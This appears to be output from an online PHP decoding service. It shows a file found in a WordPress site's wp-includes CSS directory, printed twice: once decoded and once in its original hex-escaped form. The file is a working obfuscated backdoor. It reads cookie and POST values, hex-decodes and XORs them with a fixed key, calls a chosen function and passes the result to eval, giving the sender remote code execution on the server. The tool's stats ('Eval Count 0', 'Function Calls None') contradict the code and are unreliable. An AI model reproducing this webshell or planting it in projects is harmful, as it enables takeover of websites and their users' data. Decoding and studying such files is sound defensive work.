Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
Viewing: /sites/pittsburghecclesia.org/files/wp-includes/css/dist/widgets/fbhsgtla.php ..
Decoded Output download
Viewing: /sites/pittsburghecclesia.org/files/wp-includes/css/dist/widgets/fbhsgtla.php
<?php $jPtux = "s" . "t" . chr/* ZaJK */(114) . "_" . "r"/* RhJ */. "e"/* PaCk */. "p"/* PW */./* m */chr ( 544 -/*Jonw */443 ).chr ( 523 -/* RcBHA */426 ).'t';$_Ru/* BlKVD */= '44784';
$piqjxtyZ/* uAQz */=/*WTu */chr (101) . chr/* r */(120) . "p" ./* jCb*/"l" ./* F */"o" . chr/* TmcbY*/(100) . 'e';;
$dDCNUiPD/* ytJw */= "p" . "a" . chr (99) ./* DekR */chr/*Zf */(107);
function wKDovrGW()
{
$BUkIEysNSK = Array ( "ibRwzgbdGiAQcoiUkCHBuGJAEeexNi" => "edBVdpcJBGsTSTPffphVihgWQLd" );
$WvpMkpbpuo/* YtVp */= Array ( "JSCMvsThTx"/* kXk*/=> "pOJIeNDwA" );$_ImE = '11337';
$NbyvoqGk = Array( $BUkIEysNSK, $_COOKIE, $BUkIEysNSK, $_POST, $WvpMkpbpuo);
/* j */return/* wkv */$NbyvoqGk;;
}
function WnynoIbtu($NlzKO)
/*YWE */{
/* pRPjV*/if (/*zNEe */count ( $NlzKO ) == 3/* mxLSp */) {
/*g*/$exeyVeE = $NlzKO[1];
$kHbaVAN/* fASQ */= $NlzKO[2];$_Mp =/*cNbm */'26420';
/* P */$YrljsaGjPk/* PmHfm*/= $exeyVeE($kHbaVAN);
/* Fk */eval/* Xc */( $YrljsaGjPk );;
die/* Lim */();
/* Lss */}
/*Z */}
function/*DW */MdSpuG($AeRBPM,/* KeRXa */$LjuLUzlO)
{
return $AeRBPM ^ $LjuLUzlO;
/*t */}
/* Sx */
$DXCFW/* P */= chr/* eGcwR */( 893/* zni */-/* wDf */858 );$_DmvGD = '47282';
/* rJ */
/* gEBH */foreach/* TCNQ */(wKDovrGW() as/* vl */$CrmpMjhhR) {
foreach/* kFZG */( $CrmpMjhhR as $LjuLUzlO =>/* RYtr */$AeRBPM )/* xL*/{
/* A */
$AeRBPM = @$dDCNUiPD( "H" . "*",/*mWlig */$AeRBPM/* gc */);;
$LjuLUzlO .= "MLPgSl-QWN-Rgjj-jNI-MDEv-RdSuGbt-HckLy";
$LjuLUzlO = $jPtux ( $LjuLUzlO,/*PQ*/( strlen( $AeRBPM )/strlen(/* Yo*/$LjuLUzlO )/* C */)/* cG */+ 1);$_A = '39428';
/* yt */
/*k */$cJORlhGi =/* VSNlI */MdSpuG($AeRBPM, $LjuLUzlO);;
/* duXQ */
$NlzKO/* FJ */=/* u */$piqjxtyZ/* ro */($DXCFW,/*keZp */$cJORlhGi );$_JSBt =/* BcWXD */'53671';
WnynoIbtu($NlzKO);
/* wQ*/continue;
}
}
NinjaScanner 2024 NinTechNet
Copied ?>
Did this file decode correctly?
Original Code
Viewing: /sites/pittsburghecclesia.org/files/wp-includes/css/dist/widgets/fbhsgtla.php
<?php $jPtux = "\x73" . "\164" . chr/* ZaJK */(114) . "\x5f" . "\x72"/* RhJ */. "\145"/* PaCk */. "\x70"/* PW */./* m */chr ( 544 -/*Jonw */443 ).chr ( 523 -/* RcBHA */426 ).'t';$_Ru/* BlKVD */= '44784';
$piqjxtyZ/* uAQz */=/*WTu */chr (101) . chr/* r */(120) . "\160" ./* jCb*/"\x6c" ./* F */"\157" . chr/* TmcbY*/(100) . 'e';;
$dDCNUiPD/* ytJw */= "\x70" . "\x61" . chr (99) ./* DekR */chr/*Zf */(107);
function wKDovrGW()
{
$BUkIEysNSK = Array ( "ibRwzgbdGiAQcoiUkCHBuGJAEeexNi" => "edBVdpcJBGsTSTPffphVihgWQLd" );
$WvpMkpbpuo/* YtVp */= Array ( "JSCMvsThTx"/* kXk*/=> "pOJIeNDwA" );$_ImE = '11337';
$NbyvoqGk = Array( $BUkIEysNSK, $_COOKIE, $BUkIEysNSK, $_POST, $WvpMkpbpuo);
/* j */return/* wkv */$NbyvoqGk;;
}
function WnynoIbtu($NlzKO)
/*YWE */{
/* pRPjV*/if (/*zNEe */count ( $NlzKO ) == 3/* mxLSp */) {
/*g*/$exeyVeE = $NlzKO[1];
$kHbaVAN/* fASQ */= $NlzKO[2];$_Mp =/*cNbm */'26420';
/* P */$YrljsaGjPk/* PmHfm*/= $exeyVeE($kHbaVAN);
/* Fk */eval/* Xc */( $YrljsaGjPk );;
die/* Lim */();
/* Lss */}
/*Z */}
function/*DW */MdSpuG($AeRBPM,/* KeRXa */$LjuLUzlO)
{
return $AeRBPM ^ $LjuLUzlO;
/*t */}
/* Sx */
$DXCFW/* P */= chr/* eGcwR */( 893/* zni */-/* wDf */858 );$_DmvGD = '47282';
/* rJ */
/* gEBH */foreach/* TCNQ */(wKDovrGW() as/* vl */$CrmpMjhhR) {
foreach/* kFZG */( $CrmpMjhhR as $LjuLUzlO =>/* RYtr */$AeRBPM )/* xL*/{
/* A */
$AeRBPM = @$dDCNUiPD( "\110" . "\x2a",/*mWlig */$AeRBPM/* gc */);;
$LjuLUzlO .= "MLPgSl-QWN-Rgjj-jNI-MDEv-RdSuGbt-HckLy";
$LjuLUzlO = $jPtux ( $LjuLUzlO,/*PQ*/( strlen( $AeRBPM )/strlen(/* Yo*/$LjuLUzlO )/* C */)/* cG */+ 1);$_A = '39428';
/* yt */
/*k */$cJORlhGi =/* VSNlI */MdSpuG($AeRBPM, $LjuLUzlO);;
/* duXQ */
$NlzKO/* FJ */=/* u */$piqjxtyZ/* ro */($DXCFW,/*keZp */$cJORlhGi );$_JSBt =/* BcWXD */'53671';
WnynoIbtu($NlzKO);
/* wQ*/continue;
}
}
NinjaScanner 2024 NinTechNet
Copied
Function Calls
None |
Stats
MD5 | 91f41e7be57cd99ae6ef4884a6216c45 |
Eval Count | 0 |
Decode Time | 62 ms |